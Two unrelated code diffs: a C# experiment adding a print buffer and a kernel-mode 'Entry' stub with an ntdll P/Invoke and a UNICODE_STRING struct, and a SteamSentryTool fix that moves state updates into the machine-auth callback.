+			SBuilder = new StringBuilder();
+		}
+
+		public static void Post() {
+			Console.ForegroundColor = ConsoleColor.White;
+			Console.WriteLine(SBuilder.ToString());
+			Console.ResetColor();
+		}
+
+		public static void Print(string Msg) {
+			SBuilder.Append(Msg);
+		}
+
+		///////////////////////////////////////////////////////////////
+
+		public static void Entry(GetRoutineAddrFunc MmGetSystemRoutineAddress) {
+			Print("Hello kernel mode!");
+			//MmGetSystemRoutineAddress(string_RtlInitUnicodeString);
+		}
+	}
+
+	unsafe static class NT {
+		[DllImport("Ntdll", CharSet = CharSet.Unicode)]
+		public static extern void RtlInitUnicodeString(UNICODE_STRING* DestinationString, string SourceString);
+	}
+
+	[StructLayout(LayoutKind.Sequential)]
+	public unsafe struct UNICODE_STRING {
+		public ushort Length;
+		public ushort MaxLength;
+		public char* Buffer;
+	}
 }


Fixed sentry not being created due to function returning too fast.

--- SteamSentryTool/SentryOperator.cs
+++ SteamSentryTool/SentryOperator.cs
@@ -166,9 +166,6 @@
                 _isRunning = false;
                 return;
             }
-
-            _checkResult = ECheckResult.Added;
-            _isRunning = false;
         }

         private void OnMachineAuth(SteamUser.UpdateMachineAuthCallback callback)
@@ -208,6 +205,9 @@

                 SentryFileHash = sentryHash,
             });
+
+            _checkResult = ECheckResult.Added;
+            _isRunning = false;
         }
     }
 }